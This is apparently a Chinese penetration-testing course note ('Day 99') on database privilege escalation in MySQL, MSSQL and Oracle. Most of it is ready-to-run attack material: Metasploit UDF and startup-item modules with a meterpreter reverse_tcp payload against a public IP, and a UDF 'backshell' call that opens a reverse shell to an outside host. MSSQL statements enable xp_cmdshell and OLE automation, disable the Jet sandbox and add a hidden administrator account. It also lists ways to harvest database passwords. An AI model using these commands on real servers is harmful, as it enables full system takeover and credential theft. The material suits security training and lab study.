第99天:权限提升-数据库提权&口令获取&MYSQL&MSSQL&Oracle&MSF

知识点梳理
#知识点:
1、数据库账号密码获取方式
2、Mysql&Mssql&Oracle提权
3、数据库提权针对操作系统问题
#思考点:
1、如何判断采用什么数据库提权?
2、数据库提权首要条件密码获取?
3、有那些数据库类型可以进行提权?
4、操作系统在数据库提权中有那些疑问?
#章节点:
1、Web权限提升
2、系统权限提升
3、域控权限提升
#详细点:
1、具体有哪些权限需要我们了解掌握的?
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
2、以上常见权限获取方法简要归类说明?
后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入
网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell
数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入
接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入
系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等
域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等
3、以上常见权限获取后能操作的具体事情?
后台权限:
常规WEB界面文章分类等操作,后台功能可操作类
网站权限:
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。
数据库权限:
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。
接口权限:
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。
系统权限:如同在你自己操作自己的电脑一样
域控权限:如同在你自己操作自己的虚拟机一样
案例演示
#提权条件-数据库帐号密码获取方式
-数据库的最高权限用户的密码
-secure-file-priv没进行目录限制
0、网站存在高权限SQL注入点
1、数据库的存储文件或备份文件
2、网站应用源码中的数据库配置文件
3、采用工具或脚本爆破(需解决外联问题)
#MYSQL-UDF&MOF&启动项&反弹Shell
1、UDF
获取密码-开启外连-高版本创建目录-MSF导出dll-Webshell执行后续
1.mysql<5.2 导出目录c:/windows或system32
2.mysql=>5.2 导出安装目录/lib/plugin/
select version() select @@basedir
GRANT ALL PRIVILEGES ON . TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
获取密码:D:/phpstudy2016/MySQL/data/mysql/user.MYD 或者 查看网站配置文件
没有目录采用手工创建plugin目录或利用NTFS流创建
使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权,
MSF会将dll文件写入 lib\plugin\ 目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,
但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
MySQL默认禁止root外连,而且对方MySQL数据库可能处于内网。
那么为什么哥斯拉连接的webshell可以直接连接对方MySQL呢?是因为webshell上传后处于其内网环境。
MSF是处于外部的,所以需要MySQL开启外连才行。
当MySQL设置 secure-file-priv 选项时,只允许在指定目录写入文件,所以MSF也无法写入dll文件
修改 my.ini 文件,在 [mysqld] 块下,如果没有 secure_file_priv 则新增
指定目录:secure_file_priv=/path/to/data
不限目录:secure_file_priv=
禁止操作:secure_file_priv=NULL
MSF:(前提先开外连)
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 47.102.195.100
run
Navicat:
开外联后使用MSF导出,在执行后续命令调用执行
select * from mysql.func where name = "sys_exec"; //查看
create function sys_eval returns string soname "WqkerHcA.dll"; //创建函数绑定dll
select sys_eval("whoami"); //调用函数进行命令执行
2、MOF-Win2008后权限控制导致无效-MSF演示
https://www.cnblogs.com/xishaonian/p/6384535.html
MSF:use exploit/windows/mysql/mysql_mof
3、启动项
MSF:(前提先开外链)
use exploit/windows/mysql/mysql_start_up
set rhosts 47.102.195.100
set username root
set password root
run
4、反弹Shell
https://blog.csdn.net/weixin_43801718/article/details/105493042
use mysql;
set @a=concat('',
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
select data from Ghost into DUMPFILE 'C:\phpstudy\PHPTutorial\MySQL\lib\plugin\udf.dll';
create function backshell returns string soname 'udf.dll';
select backshell('47.94.236.117',7788)
#MSSQL-xp_cmdshell&sp_oacreate&沙盒
已知Shell:http://192.168.46.147:82/cd.aspx 密码x
参考资料:https://blog.51cto.com/11797152/2411770
1.使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
2.使用sp_oacreate进行提权
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt'
3.使用SQL Server 沙盒提权
exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
--恢复配置
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;
#Oracle-普通用户&注入提升模式&DBA模式
https://github.com/jas502n/oracleshell
http://192.168.46.148:8080/sql.jsp?id=7698
1、普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
2、DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
3、注入提升模式:(Sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显

浙公网安备 33010602011771号